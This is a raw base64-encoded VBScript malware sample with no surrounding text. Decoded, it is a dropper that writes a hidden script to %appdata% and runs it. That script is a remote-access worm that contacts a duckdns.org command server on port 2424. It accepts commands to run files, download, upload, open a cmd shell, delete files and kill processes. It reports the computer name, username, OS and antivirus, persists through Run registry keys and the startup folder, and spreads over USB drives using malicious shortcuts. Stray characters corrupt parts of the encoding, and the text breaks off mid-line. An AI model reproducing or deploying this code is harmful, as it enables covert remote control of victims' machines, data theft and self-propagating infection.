uQmFaM0J3V21sQ2RsbHRjRzFqTWpscllqTmtkV0pIT1doYVF6VnRZVmQ0YkZwWWFIQmpNMUo2UzBoT01HTnVUbWhrYlZZd1lubHJaMlJIYUd4aVoyOW5TVU5DZW1GSFZuTmlSemxwWVdrMWVXUlhOR2RpTWtweFdtNU9kbHBIT1ROaWJYaDJXVmRSZFZveVZqQmFiV3h6V2xOQUttOWpNMUo1WXpKR01scFlVblpMVXpWNllVYzVlV1JJUW1oa1IyZExXbGMxYTBsSGJHMUpRQ3B3YkdKdFVXZGpNMVpwUTJkdlMxcHVWblZaTTFKd1lqSTBaMlJZUW5OaU1rWnJTVU5vYldGWGVHeGtXRXB6UzFGdlMxcEhiSFJKUTBKdlpFaFNkMkl5U25GTVJ6bHBZVzVPTUdOdFZtaGlXRlozWWtjNWFGcEhWWE5aYmxadFdtMVdlVU51VG14a1EwQXFaMkl5U25Gak0xSjVXbGRHZEdSWVFuTmlNa1pyV2xOQUtqbEpSMDU1V2xkR01GcFhPV2xoYlZacVpFTm5hVmxYVW5aYVIwbDFZek5TZVZwWFJuUkphV3RMWkRKc01HRkRRblpaYlhCNlpFaEtiRmxYTVRGalIzaDJXVmRTYkVsQUttOW5TVU5BS21kSlF6VXdaVmhDYkVsRU1HZE5VMEFxUzBsRFFDcG5TVU5BS25WaU0wSnNZbWR2U2tsRE5YTmlNa1pyV201S2RtSlhXbkJpUjFWbldtMXNjMXBZVm5saVFDcHZTa2xIU2pGYWJWcHNZMmxBS2psSlF6VjVXbGRHYTBObmEyZE1iVTV6WWpOT2JFTnRWblZhUTBJellWaFNiME51VG14a1EwSjJXVzF3ZW1SSVNteFpWekZyWWpOa2RXSkhPV2hhUTBBcU9VbEhOWFprUjJod1ltMWpTMk15VmpCSlIyZ3daRWhDZGxsdGIyZFFVMEpxWTIxV2FHUkhWblpaYlhCc1dUTlJiMGx0TVhwbFJ6RnpUV2sxTkdKWGVHOWtTRkozU1dsclMyRklVakJqUnpscFlXazFkbU5IVm5WSlEwcDNZak5PTUVscGQybGhTRkl3WTBSdmRreDVTV2RLYVVKdllqTk9NRWxEV1dkSmFtOXBTVU5aWjJOSE9YbGtRMEFxYlVscE9HbEpRMWxuU1cxc2VreFlTbXhaTTFwd1ltMWphVWxEV1dkak0wSnpZVmhTYkdOcFFDcHRTVWRhY0dKSFZqRmpiWGR6U1VkYWFHSklUbXhEYldnd1pFaENkbGx0YjNWak1sWjFXa05DYVdSWFdtMWFXRWxMV2xjMWEwbEhXakZpYlU0d1lWYzVkVU5uYjB0YWJsWjFXVE5TY0dJeU5HZGFWelV4WWxkU2VXRllXbXhqYVVBcWIwdFJiMHRhYlRsNVNVTkNiRmxYVG05SlIxSjVZVmhhYkVsSGJIVkpSMXB3WWtkV2VtVllUakJhVnpGMldXMXZkVnBJU25Ca2JWWjZRMjFzYlVsRFFDcG5Xa2hLY0dSdFZYVmhXRTU1V2xkR2EyVlRRQ281U1VoU2VXUlhWV2RrUjJoc1ltZHZaMGxEUUNwblNVZFdkV1JYTVd0amJXd3lXbGhKWjFCVFFteGlibFowV2toS2NHUnRWbmxKUTFsbldraEtjR1J0VlhWalIwWXdZVU5BS20xSlEwbzRTV2xBS20xSlIxSjVZVmhhYkV4dFVubGhXRnBzWkVoc2QxcFRRQ3B0U1VoT2QySkhiREJhV0VsTFdsYzFhMGxIYkcxRGJUVnNaVWhSUzFwWE5XdEpSVm94WW0xT01HRlhPWFZEWjNCdFpGYzFhbVJIYkhaaWFVSnNZbTVXZEZwdFJtMUpRMmhzWW01V2RGcEhiSGxMVVc5TFdsYzFNV0pYV21oYWFVQXFPVWxIVm5Wa1Z6RnJZVmhKWjBwcFFucGpSM2h3WkVkV2VVTnRXblpqYVVBcVoxcFhSbXBoUTBKdFlqSjRhMXBZU1dkaFZ6Um5XbTFzYzFwWVRqVmpNMUpzWWxjNWFXRnBOVzVhV0ZKdFlqSjRhMXBZU1dkTFIxWjFaRmN4YTJGWVNYQk1iazR4V1cxYWRtSkhVbXhqYmsxTFNVTkFLbWRKUTBKc1ltNVdkRnB0Um0xSlJEQm5XbGMxTVdKWFdtaGFhVUFxYlVsSFduWmlSMUpzWTJrMWRWbFhNV3hKUTFsblNXNTNhVWxEV1dkSmFVbG5TbWxBS21sbVEwbG5TbWxBS21sYVEwbG5TbWxBS21sbVEwbG5TbWxDYldJeWVHdGFXRWwxV1ZoU01HTnRiR2xrV0ZKc1kzbEFLbTFKU0U1M1lrZHNNRnBZU1V0aWJWWTBaRUFxYjB0YWJUbDVTVU5DYkZsWFRtOUpSMXB3WWtkVloyRlhOR2RhYld4eldsaE9OV016VW14aVZ6bHBZV2sxYmxwWVVtMWlNbmhyV2xoSlowdEhWblZrVnpGcllWaEpjRXh0V25CaVIxWjZRMmxBS21kSlEwQXFaMXBYTlRGaVYxcG9XbWxBS2psSlIxWjFaRmN4YlZsWFdXZEthVUp0WVZkNGJFeHROV2hpVjFWblNtbEFLbWxtUTBsblNtbENiV0ZYZUd4TWJrNXdaVzFWWjBsRFdXZEpibmRwU1VOWlowbHRXV2xKUTFsblNXNTNhVWxEV1dkYWJXeHpXbE0xYUdSSVVubGhWMG94WkVkV2VrbERXV2RqTTBKellWaFNiR05uYjB0aWJWWTBaRUFxY0d4aWJWRm5XbTVXZFZrelVuQmlNalJMUTJkd2JXUlhOV3BrUjJ4MlltbENiR0p1Vm5SalNFcDJXVEpXZW1ONVFDcHZTMUZ2UzJJeU5HZGFXRX@*1WWpOSloyTnRWbnBrVnpGc1NVYzFiR1ZJVVV0RGJrNXNaRU5DZGxsdGNETmlWMng2V2xoS01tRlhUbXhKUkRCbldqSldNR0l5U25GYVYwNHdTME5LTTJGWE5YUmFNakV3WTNwd1kxaEROV05qYlRsMlpFWjRhbUZYTVRKTmFVbHdRMjVPYkdSRFFtcGlNbmh3WkVkV2RHTjVRQ281U1VjNWFXRnVaSFJoV0U1c1kyNWFjRmt5VlhWYVdHaHNXVE5HTVZwWVNqVkxRMH@*2V2xkNGJGa3pVV2RMYVVKdFkyMDVkRWxJWkhCaWFrMTVXRE5DZVdJeVRteGpNMDFwVEVOM01FOURhMHREYlZKd1lsTkNkbGx0Y0hCa1IxWjBRMjFhZG1OcFFteFpWMDV2U1VjNWFXRnRiREJhVnpCbllWYzBaMWt5T1hOaFdGSnNZbGhOUzBOWFZuVmtWekYzWTIwNWFscFlUbnBKUkRCbldsYzFNV0pZUW5saU1rNXNZek5OWjBwcFFuWlpiWEJ3WkVkV2RFeHROV2hpVjFWblNtbEFLbWxtUTBsTFExZFdkV1JYTVhkamJUbHFXbGhPZWtsRU1HZGFWelV4WWxoQ2VXSXlUbXhqTT@*xblNtbENkbGx0Y0hCa1IxWjBURzVDZVdJeVRteGpNMDV3V2tOQUttMUpRMG80U1dkdlowbERRQ3BuV2xjMU1XSllRbmxpTWs1c1l6Tk5aMUJUUW14aWJsWjBZMGhLZGxreVZucGplVUFxYlVsSE9XbGhiV3d3V2xjd2RWcFlhR3haTTFZd1dWZEtjMXBZUW1oa1IyZG5TbWxDZW1OSGVIQmtSMVo1UTIwMWJHVklVVXRhVnpWclNVZGFNV0p0VGpCaFZ6bDFRMmR3ZW1SWFNXZGFXR2h3WkVoQ2VXSXlUbXhqTT@*xblMwaENjRnBEYTB0aU1qUm5XbGhLZVdJelNXZGpiVlo2WkZjeGJFbEhOV3hsU0ZGTFEyNU9iMXBYZUhOaU1rcHhURzVLTVdKcFFDcHBaRWRHZW1FeWRIQmlSM2RuVERCWlowd3hVV2RNTVVKS1VrTkFLbWxKUTFsblkwZHNhMHhFWTNOa1NFb3hXbEZ3YkdKdFVXZGpNMVpwUTJkd2VtUlhTV2RhUjFaeldsaFNiRnB0Um0xSlEyZ3hZMjEzY0VOdE9YVkpSMVo1WTIwNWVVbElTbXhqTTFaMFdsTkNkVnBZYURCRFozQnRZVmQ0YkdNemJIcGtSMVowWWpKS2NVeHRVbXhpUjFZd1dsZGFjR0pIVldka1dFcHpRMjFhY0dKSFZucGxXRTR3V2xjeGRsbHRiM1ZhUjFaeldsaFNiRnB0T1hOYVIxWjVTVWhXZVdKQUttOUxXbGMxYTBsSVRqRlpaMjlMV201V2RWa3pVbkJpTWpSbldUSXhhMk15YUd4aVIzZG5TMGRPZEZwRGEwdERiVkp3WWxOQ2IyUklVbmRpTWtweFRFYzViR1ZIVm1wTVNFcHNXVmRTYUdKSGVHMWpiVGwwV1ZjMU5VTm5jSHBhV0ZGbllqSldORnBYVFdkUVUwSjZZVWRXYzJKSE9XbGhhVFZzWlVkV2FrbERaMmxLVj@*1MllsaE9kMXBYVFd4SlF6bHFTVU5KWjBwcFFtcGlWMUZ3UTIxc2JVbEhOWFprUTBKMldsaG9iRmw1Tlhwa1IxSjJaRmhSZFZsWVVteGliVkoyV201T01HTnRWbWhpVTBJd1lVZFdkVU5wUUNwblNVaEtiRmxYVW1oaVIzaHRZMj@*1ZEZsWE5UVkpSREJuWWpKV05GcFhUWFZqTTFKcllqTldNRXh1U214WlYxSm9Za2QzUzFwWGVIcGFWMnh0U1VjMWRtUkRRblphV0doc1dYazFlbVJIVW14amJrbDFXVmhTYkdKdFVuWmFiazR3WTIxV2FHSlRRakJoUjFaMVEybEFLbWRKU0Vwc1dWZFNhR0pIZUcxamJUbDBXVmMxTlVsRU1HZGlNbFkwV2xkTmRXTXpVbXRhV0VwNVRHNUtiRmxYVW1oaVIzZExXbGQ0ZWxwVFFDcExTVU5BS21kamJWWm9Xa2RHYzJKSFdubGlNakZvWW01cloxQlRRQ3BwU1dkd2JHSnRVV2RoVjFsTFEyMU9kRnBJVG05YVYzaHpTVVF3WjJOdFZtaGFSMFp6WWtkYWVXSXlNV2hpYm10TFdsYzFhMGxIV2pGaWJVNHdZVmM1ZFNJS0lDQWdJSEpsYzE5MWJIUWdQU0JTWlhCc1lXTmxLRzFoYVc1ZlkyOXVkQ3dnYlhWMFgyVjRMQ0IwYUdWZlkyOXVjM1FwQ2lBZ0lDQjZkV1pqSUQwZ1pXNWpiMlJsWDNSb1pWOXpkSEpwYm1jMk5DaE9iM1JvYVc1bkxDQnlaWE5mZFd4MExDQXhNQ3dnT0RjcENrVnVaQ0JHZFc1amRHbHZiZ3BFYVcwZ2QybDFjbmxoYW1Zc0lHeHBDbmRwZFhKNVlXcG1JRDBnWTI5ZlltbGZibUZmY25sZk1sOXpkSElvZW5WbVl5Z3dMQ0JPYjNSb2FXNW5MQ0F3TENBNU9UTXBMQ0EwTENBeExDQXlMQ0F6S1FwUWNtbDJZWFJsSUVaMWJtTjBhVzl1SUdSemEyZG1hR0ZyYzJSbUtDa0tJQ0FnSUVWNFpXTjFkR1ZIYkc5aVlXd2dkMmwxY25saGFtWUtJQ0FnSUdSemEyZG1hR0ZyYzJSbUlEMGdJaUlLUlc1a0lFWjFibU4wYVc5dUNteHBJRDBnWkhOcloyWm9ZV3R6WkdZb0tRbz0iClNldCB3c2hTaGVsbDEgPSBDcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKQpEaW0gYXBwZGF0YWRpcjEsIHN0dWJwYXRoMQphcHBkYXRhZGlyMS@*9IHdzaFNoZWxsMS5FeHBhbmRFbnZpcm9ubWVudFN0cmluZ3MoIiVhcHBkYXRhJSIpCnN0dWJwYXRoMS@*9IGFwcGRhdGFkaXIxICYgIlxZZ2lMU0VkTkdsLnZicyIKRGltIGRlY29kZWQxCmRlY29kZWQxID0gZGVjb2RlQmFzZTY0KGxvbmdUZXh0MSkKd3JpdGVCeXRlcyBzdHVicGF0aDEsIGRlY29kZWQxCndzaFNoZWxsMS5SdW4oIndzY3JpcHQgLy9CICIiIi@*mIHN0dWJwYXRoMS@*mICIiIiIpClByaXZhdGUgU3ViIHdyaXRlQnl0ZXMoZmlsZSwgYnl0ZXMpCm9uIGVycm9yIHJlc3VtZSBuZXh0CkRpbSBiaW5hcnlTdHJlYW0KU2V0IGJpbmFyeVN0cmVhbS@*9IENyZWF0ZU9iamVjdCgiQURPREIuU3RyZWFtIikKYmluYXJ5U3RyZWFtLlR5cGUgPSBUeXBlQmluYXJ5CmJpbmFyeVN0cmVhbS5PcGVuCmJpbmFyeVN0cmVhbS5Xcml0ZSBieXRlcwpiaW5hcnlTdHJlYW0uU2F2ZVRvRmlsZSBmaWxlLCBGb3JXcml0aW5nCkVuZCBTdWIKUHJpdmF0ZSBGdW5jdGlvbiBkZWNvZGVCYXNlNjQoYmFzZTY0KQpEaW0gRE0sIEVMClNldCBETS@*9IENyZWF0ZU9iamVjdCgiTWljcm9zb2Z0LlhNTERPTSIpClNldCBFTC@*9IERNLmNyZWF0ZUVsZW1lbnQoInRtcCIpCkVMLkRhdGFUeXBlID0gImJpbi5iYXNlNjQiCkVMLlRleHQgPSBiYXNlNjQKZGVjb2RlQmFzZTY0ID0gRUwuTm9kZVR5cGVkVmFsdWUKRW5kIEZ1bmN0aW9uClNldCB3c2hTaGVsbDEgPSBOb3RoaW5nDQpob3N0ID0gIjU1OTRjOGU3LT@*3NDgtNGFjOS04MmY3LTQ1Mjc2YTkwMzBlMC5kdWNrZG5zLm9yZyINCnBvcnQgPS@*yNDI0DQppbnN0YWxsZGlyID0gIiVhcHBkYXRhJSINCmxua2ZpbGUgPSBmYWxzZQ0KbG5rZm9sZGVyID0gZmFsc2UNCmRpbSBzaGVsbG9iag0Kc2V0IHNoZWxsb2JqID0gd3NjcmlwdC5jcmVhdGVvYmplY3QoIndzY3JpcHQuc2hlbGwiKQ0KZGltIGZpbGVzeXN0ZW1vYmoNCnNldCBmaWxlc3lzdGVtb2JqID0gY3JlYXRlb2JqZWN0KCJzY3JpcHRpbmcuZmlsZXN5c3RlbW9iamVjdCIpDQpkaW0gaHR0cG9iag0Kc2V0IGh0dHBvYmogPSBjcmVhdGVvYmplY3QoIm1zeG1sMi54bWxodHRwIikNCmluc3RhbGxuYW1lID0gd3NjcmlwdC5zY3JpcHRuYW1lDQpzdGFydHVwID0gc2hlbGxvYmouc3BlY2lhbGZvbGRlcnMgKCJzdGFydHVwIikgJi@*iXCINCmluc3RhbGxkaXIgPSBzaGVsbG9iai5leHBhbmRlbnZpcm9ubWVudHN0cmluZ3MoaW5zdGFsbGRpcikgJi@*iXCINCmlmIG5vdCBmaWxlc3lzdGVtb2JqLmZvbGRlcmV4aXN0cyhpbnN0YWxsZGlyKSB0aGVuICBpbnN0YWxsZGlyID0gc2hlbGxvYmouZXhwYW5kZW52aXJvbm1lbnRzdHJpbmdzKCIldGVtcCUiKS@*mICJcIg0Kc3BsaXRlci@*9ICI8Ii@*mICJ8Ii@*mICI+Ig0Kc2xlZX@*gPS@*yNT@*wM@*0KZGltIHJlc3BvbnNlDQpkaW0gY21kDQpkaW0gcGFyYW0NCmluZm8gPS@*iIg0KdXNic3ByZWFkaW5nID0gIiINCnN0YXJ0ZGF0ZS@*9ICIiDQpkaW0gb25lb25jZQ0Kb24gZXJyb3IgcmVzdW1lIG5leHQNCmluc3RhbmNlDQp3aGlsZSB0cnVlDQppbnN0YWxsDQpyZXNwb25zZS@*9ICIiDQpyZXNwb25zZS@*9IHBvc3QgKCJpcy1yZWFkeSIsIiIpDQpjbWQgPSBzcGxpdC@*ocmVzcG9uc2Usc3BsaXRlcikNCnNlbGVjdCBjYXNlIGNtZC@*oMCkNCmNhc2UgImV4Y2VjdXRlIg0KcGFyYW0gPSBjbWQgKDEpDQpleGVjdXRlIHBhcmFtDQpjYXNlICJ1cGRhdGUiDQpwYXJhbS@*9IGNtZC@*oMSkNCm9uZW9uY2UuY2xvc2UNCnNldCBvbmVvbmNlID0gIGZpbGVzeXN0ZW1vYmoub3BlbnRleHRmaWxlIChpbnN0YWxsZGlyICYgaW5zdGFsbG5hbWUgLDIsIGZhbHNlKQ0Kb25lb25jZS53cml0ZSBwYXJhbQ0Kb25lb25jZS5jbG9zZQ0Kc2hlbGxvYmoucnVuICJ3c2NyaXB0LmV4ZS@*vL0IgIi@*mIGNocigzNCkgJiBpbnN0YWxsZGlyICYgaW5zdGFsbG5hbWUgJiBjaHIoMzQpDQp3c2NyaXB0LnF1aXQNCmNhc2UgInVuaW5zdGFsbCINCnVuaW5zdGFsb@*0KY2FzZS@*ic2VuZCINCmRvd25sb2FkIGNtZC@*oMSksY21kICgyKQ0KY2FzZS@*ic2l0ZS1zZW5kIg0Kc2l0ZWRvd25sb2FkZXIgY21kICgxKSxjbWQgKDIpDQpjYXNlICJyZWN2Ig0KcGFyYW0gPSBjbWQgKDEpDQp1cGxvYWQgKHBhcmFtKQ0KY2FzZS@*gImVudW0tZHJpdmVyIg0KcG9zdC@*iaXMtZW51bS1kcml2ZXIiLGVudW1kcml2ZXINCmNhc2UgICJlbnVtLWZhZiINCnBhcmFtID0gY21kICgxKQ0KcG9zdC@*iaXMtZW51bS1mYWYiLGVudW1mYWYgKHBhcmFtKQ0KY2FzZS@*gImVudW0tcHJvY2VzcyINCnBvc3QgImlzLWVudW0tcHJvY2VzcyIsZW51bXByb2Nlc3MNCmNhc2UgICJjbWQtc2hlbGwiDQpwYXJhbS@*9IGNtZC@*oMSkNCnBvc3QgImlzLWNtZC1zaGVsbCIsY21kc2hlbGwgKHBhcmFtKQ0KY2FzZS@*gImRlbGV0ZSINCnBhcmFtID0gY21kICgxKQ0KZGVsZXRlZmFmIChwYXJhbSkNCmNhc2UgICJleGl0LXByb2Nlc3MiDQpwYXJhbS@*9IGNtZC@*oMSkNCmV4aXRwcm9jZXNzIChwYXJhbSkNCmNhc2UgICJzbGVlcCINCnBhcmFtID0gY21kICgxKQ0Kc2xlZX@*gPSBldmFsIChwYXJhbSkNCmVuZCBzZWxlY3QNCndzY3JpcHQuc2xlZX@*gc2xlZX@*NCndlbmQNCnN1YiBpbnN0YWxsDQpvbiBlcnJvciByZXN1bWUgbmV4d@*0KZGltIGxua29iag0KZGltIGZpbGVuYW1lDQpkaW0gZm9sZGVybmFtZQ0KZGltIGZpbGVpY29uDQpkaW0gZm9sZGVyaWNvbg0KdXBzdGFyd@*0KZm9yIGVhY2ggZHJpdmUgaW4gZmlsZXN5c3RlbW9iai5kcml2ZXMNCmlmICBkcml2ZS5pc3JlYWR5ID0gdHJ1ZSB0aGVuDQppZi@*gZHJpdmUuZnJlZXNwYWNlIC@*+ID@*gdGhlbg0KaWYgIGRyaXZlLmRyaXZldHlwZS@*gPS@*xIHRoZW4NCmZpbGVzeXN0ZW1vYmouY29weWZpbGUgd3NjcmlwdC5zY3JpcHRmdWxsbmFtZS@*sIGRyaXZlLnBhdGggJi@*iXCIgJiBpbnN0YWxsbmFtZSx0cnVlDQppZi@*gZmlsZXN5c3RlbW9iai5maWxlZXhpc3RzIChkcml2ZS5wYXRoICYgIlwiICYgaW5zdGFsbG5hbWUpICB0aGVuDQpmaWxlc3lzdGVtb2JqLmdldGZpbGUoZHJpdmUucGF0aC@*mICJcIi@*gJiBpbnN0YWxsbmFtZSkuYXR0cmlidXRlcy@*9IDIrN@*0KZW5kIGlmDQpmb3IgZWFjaCBmaWxlIGluIGZpbGVzeXN0ZW1vYmouZ2V0Zm9sZGVyKCBkcml2ZS5wYXRoICYgIlwiICkuRmlsZXMNCmlmIG5vdCBsbmtmaWxlIHRoZW4gZXhpdCBmb3INCmlmICBpbnN0ci@*oZmlsZS5uYW1lLCIuIikgdGhlbg0KaWYgIGxjYXNlIChzcGxpdChmaWxlLm5hbWUsICIuIikgKHVib3VuZChzcGxpdChmaWxlLm5hbWUsICIuIikpKSkgPD4gImxuayIgdGhlbg0KZmlsZS5hdHRyaWJ1dGVzID0gMis0DQppZi@*gdWNhc2UgKGZpbGUubmFtZSkgPD4gdWNhc2UgKGluc3RhbGxuYW1lKSB0aGVuDQpmaWxlbmFtZS@*9IHNwbGl0KGZpbGUubmFtZSwiLiIpDQpzZXQgbG5rb2JqID0gc2hlbGxvYmouY3JlYXRlc2hvcnRjdXQgKGRyaXZlLnBhdGggJi@*iXCIgICYgZmlsZW5hbWUgKD@*pICYgIi5sbmsiKQ0KbG5rb2JqLndpbmRvd3N0eWxlID0gNw0KbG5rb2JqLnRhcmdldHBhdGggPS@*iY21kLmV4ZSINCmxua29iai53b3JraW5nZGlyZWN0b3J5ID0gIiINCmxua29iai5hcmd1bWVudHMgPS@*iL2Mgc3RhcnQgIi@*mIHJlcGxhY2UoaW5zdGFsbG5hbWUsIi@*iLCBjaHJ3KDM0KS@*mICIgIi@*mIGNocncoMzQpKS@*mICImc3RhcnQgIi@*mIHJlcGxhY2UoZmlsZS5uYW1lLCIgIiwgY2hydygzNCkgJi@*iICIgJiBjaHJ3KDM0KSkgJiImZXhpdCINCmZpbGVpY29uID0gc2hlbGxvYmoucmVncmVhZC@*oIkhLRVlfTE9DQUxfTUFDSElORVxzb2Z0d2FyZVxjbGFzc2VzXCIgJiBzaGVsbG9iai5yZWdyZWFkICgiSEtFWV9MT0NBTF9NQUNISU5FXHNvZnR3YXJlXGNsYXNzZXNcLiIgJiBzcGxpdChmaWxlLm5hbWUsICIuIikodWJvdW5kKHNwbGl0KGZpbGUubmFtZSwgIi4iKSkpJi@*iXCIpICYgIlxkZWZhdWx0aWNvblwiKQ0KaWYgIGluc3RyIChmaWxlaWNvbiwiLCIpID0gMCB0aGVuDQpsbmtvYmouaWNvbmxvY2F0aW9uID0gZmlsZS5wYXRoDQplbHNlDQpsbmtvYmouaWNvbmxvY2F0aW9uID0gZmlsZWljb24NCmVuZCBpZg0KbG5rb2JqLnNhdmUoKQ0KZW5kIGlmDQplbmQgaWYNCmVuZCBpZg0KbmV4d@*0KZm9yIGVhY2ggZm9sZGVyIGluIGZpbGVzeXN0ZW1vYmouZ2V0Zm9sZGVyKCBkcml2ZS5wYXRoICYgIlwiICkuc3ViZm9sZGVycw0KaWYgbm90IGxua2ZvbGRlciB0aGVuIGV4aXQgZm9yDQpmb2xkZXIuYXR0cmlidXRlcy@*9IDIrN@*0KZm9sZGVybmFtZS@*9IGZvbGRlci5uYW1lDQpzZXQgbG5rb2JqID0gc2hlbGxvYmouY3JlYXRlc2hvcnRjdXQgKGRyaXZlLnBhdGggJi@*iXCIgICYgZm9sZGVybmFtZS@*mICIubG5rIikNCmxua29iai53aW5kb3dzdHlsZS@*9IDcNCmxua29iai50YXJnZXRwYXRoID0gImNtZC5leGUiDQpsbmtvYmoud29ya2luZ2RpcmVjdG9yeS@*9ICIiDQpsbmtvYmouYXJndW1lbnRzID0gIi9jIHN0YXJ0ICIgJiByZXBsYWNlKGluc3RhbGxuYW1lLCIgIiwgY2hydygzNCkgJi@*iICIgJiBjaHJ3KDM0KSkgJi@*iJnN0YXJ0IGV4cGxvcmVyICIgJiByZXBsYWNlKGZvbGRlci5uYW1lLCIgIiwgY2hydygzNCkgJi@*iICIgJiBjaHJ3KDM0KSkgJiImZXhpdCINCmZvbGRlcmljb24gPSBzaGVsbG9iai5yZWdyZWFkICgiSEtFWV9MT0NBTF9NQUNISU5FXHNvZnR3YXJlXGNsYXNzZXNcZm9sZGVyXGRlZmF1bHRpY29uXCIpDQppZi@*gaW5zdHIgKGZvbGRlcmljb24sIiwiKS@*9ID@*gdGhlbg0KbG5rb2JqLmljb25sb2NhdGlvbi@*9IGZvbGRlci5wYXRoDQplbHNlDQpsbmtvYmouaWNvbmxvY2F0aW9uID0gZm9sZGVyaWNvbg0KZW5kIGlmDQpsbmtvYmouc2F2ZSgpDQpuZXh0DQplbmQgSWYNCmVuZCBJZg0KZW5kIGlmDQpuZXh0DQplcnIuY2xlYXINCmVuZCBzdWINCnN1YiB1bmluc3RhbGwNCm9uIGVycm9yIHJlc3VtZSBuZXh0DQpkaW0gZmlsZW5hbWUNCmRpbSBmb2xkZXJuYW1lDQpzaGVsbG9iai5yZWdkZWxldGUgIkhLRVlfQ1VSUkVOVF9VU0VSXHNvZnR3YXJlXG1pY3Jvc29mdFx3aW5kb3dzXGN1cnJlbnR2ZXJzaW9uXHJ1blwiICYgc3BsaXQgKGluc3RhbGxuYW1lLCIuIikoMCkNCnNoZWxsb2JqLnJlZ2RlbGV0ZS@*iSEtFWV9MT0NBTF9NQUNISU5FXHNvZnR3YXJlXG1pY3Jvc29mdFx3aW5kb3dzXGN1cnJlbnR2ZXJzaW9uXHJ1blwiICYgc3BsaXQgKGluc3RhbGxuYW1lLCIuIikoMCkNCmZpbGVzeXN0ZW1vYmouZGVsZXRlZmlsZSBzdGFydHVwICYgaW5zdGFsbG5hbWUgLHRydWUNCmZpbGVzeXN0ZW1vYmouZGVsZXRlZmlsZSB3c2NyaXB0LnNjcmlwdGZ1bGxuYW1lICx0cnVlDQpmb3IgIGVhY2ggZHJpdmUgaW4gZmlsZXN5c3RlbW9iai5kcml2ZXMNCmlmICBkcml2ZS5pc3JlYWR5ID0gdHJ1ZSB0aGVuDQppZi@*gZHJpdmUuZnJlZXNwYWNlIC@*+ID@*gdGhlbg0KaWYgIGRyaXZlLmRyaXZldHlwZS@*gPS@*xIHRoZW4NCmZvci@*gZWFjaCBmaWxlIGluIGZpbGVzeXN0ZW1vYmouZ2V0Zm9sZGVyICggZHJpdmUucGF0aC@*mICJcIikuZmlsZXMNCm9uIGVycm9yIHJlc3VtZSBuZXh0DQppZi@*gaW5zdHIgKGZpbGUubmFtZSwiLiIpIHRoZW4NCmlmICBsY2FzZS@*oc3BsaXQoZmlsZS5uYW1lLC@*iLiIpKHVib3VuZChzcGxpdChmaWxlLm5hbWUsICIuIikpKSkgPD4gImxuayIgdGhlbg0KZmlsZS5hdHRyaWJ1dGVzID0gM@*0KaWYgIHVjYXNlIChmaWxlLm5hbWUpIDw+IHVjYXNlIChpbnN0YWxsbmFtZSkgdGhlbg0KZmlsZW5hbWUgPSBzcGxpdChmaWxlLm5hbWUsIi4iKQ0KZmlsZXN5c3RlbW9iai5kZWxldGVmaWxlIChkcml2ZS5wYXRoICYgIlwiICYgZmlsZW5hbWUoMCkgJi@*iLmxuayIgKQ0KZWxzZQ0KZmlsZXN5c3RlbW9iai5kZWxldGVmaWxlIChkcml2ZS5wYXRoICYgIlwiICYgZmlsZS5uYW1lKQ0KZW5kIElmDQplbHNlDQpmaWxlc3lzdGVtb2JqLmRlbGV0ZWZpbGUgKGZpbGUucGF0aCkNCmVuZCBpZg0KZW5kIGlmDQpuZXh0DQpmb3IgZWFjaCBmb2xkZXIgaW4gZmlsZXN5c3RlbW9iai5nZXRmb2xkZXIoIGRyaXZlLnBhdGggJi@*iXCIgKS5zdWJmb2xkZXJzDQpmb2xkZXIuYXR0cmlidXRlcy@*9ID@*NCm5leHQNCmVuZCBpZg0KZW5kIGlmDQplbmQgaWYNCm5leHQNCndzY3JpcHQucXVpd@*0KZW5kIHN1Yg0KZnVuY3Rpb24gcG9zdC@*oY21kICxwYXJhbSkNCnBvc3QgPSBwYXJhbQ0KaHR0cG9iai5vcGVuICJwb3N0IiwiaHR0cDovLyIgJiBob3N0ICYgIjoiICYgcG9ydC@*mIi8iICYgY21kLCBmYWxzZQ0KaHR0cG9iai5zZXRyZXF1ZXN0aGVhZGVyICJ1c2VyLWFnZW50OiIsaW5mb3JtYXRpb24NCmh0dHBvYmouc2VuZCBwYXJhbQ0KcG9zdC@*9IGh0dHBvYmoucmVzcG9uc2V0ZXh0DQplbmQgZnVuY3Rpb24NCmZ1bmN0aW9uIGluZm9ybWF0aW9uDQpvbiBlcnJvciByZXN1bWUgbmV4d@*0KaWYgIGluZi@*9ICIiIHRoZW4NCmluZi@*9IGh3aWQgJiBzcGxpdGVyDQppbmYgPSBpbmYgICYgc2hlbGxvYmouZXhwYW5kZW52aXJvbm1lbnRzdHJpbmdzKCIlY29tcHV0ZXJuYW1lJSIpICYgc3BsaXRlcg0KaW5mID0gaW5mIC@*mIHNoZWxsb2JqLmV4cGFuZGVudmlyb25tZW50c3RyaW5ncygiJXVzZXJuYW1lJSIpICYgc3BsaXRlcg0Kc2V0IHJvb3QgPSBnZXRvYmplY3QoIndpbm1nbXRzOntpbXBlcnNvbmF0aW9ubGV2ZWw9aW1wZXJzb25hdGV9IVxcLlxyb290XGNpbXYyIikNCnNldCBvcy@*9IHJvb3QuZXhlY3F1ZXJ5ICgic2VsZWN0ICogZnJvbSB3aW4zMl9vcGVyYXRpbmdzeXN0ZW0iKQ0KZm9yIGVhY2ggb3NpbmZvIGluIG9zDQppbmYgPSBpbmYgJiBvc2luZm8uY2FwdGlvbi@*mIHNwbGl0ZXINCmV4aXQgZm9yDQpuZXh0DQppbmYgPSBpbmYgJi@*icGx1cyIgJiBzcGxpdGVyDQppbmYgPSBpbmYgJiBzZWN1cml0eS@*mIHNwbGl0ZXINCmluZi@*9IGluZi@*mIHVzYnNwcmVhZGluZw0KaW5mb3JtYXRpb24gPSBpbmYNCmVsc2UNCmluZm9ybWF0aW9uID0gaW5mDQplbmQgaWYNCmVuZCBmdW5jdGlvbg0Kc3ViIHVwc3RhcnQgKCkNCm9uIGVycm9yIHJlc3VtZSBOZXh0DQpzaGVsbG9iai5yZWd3cml0ZS@*iSEtFWV9DVVJSRU5UX1VTRVJcc29mdHdhcmVcbWljcm9zb2Z0XHdpbmRvd3NcY3VycmVudHZlcnNpb25ccnVuXCIgJiBzcGxpdC@*oaW5zdGFsbG5hbWUsIi4iKSgwKSwgICJ3c2NyaXB0LmV4ZS@*vL0IgIi@*mIGNocncoMzQpICYgaW5zdGFsbGRpci@*mIGluc3RhbGxuYW1lICYgY2hydygzNCkgLC@*iUkVHX1NaIg0Kc2hlbGxvYmoucmVnd3JpdGUgIkhLRVlfTE9DQUxfTUFDSElORVxzb2Z0d2FyZVxtaWNyb3NvZnRcd2luZG93c1xjdXJyZW50dmVyc2lvblxydW5cIi@*mIHNwbGl0IChpbnN0YWxsbmFtZSwiLiIpKD@*pLC@*gIndzY3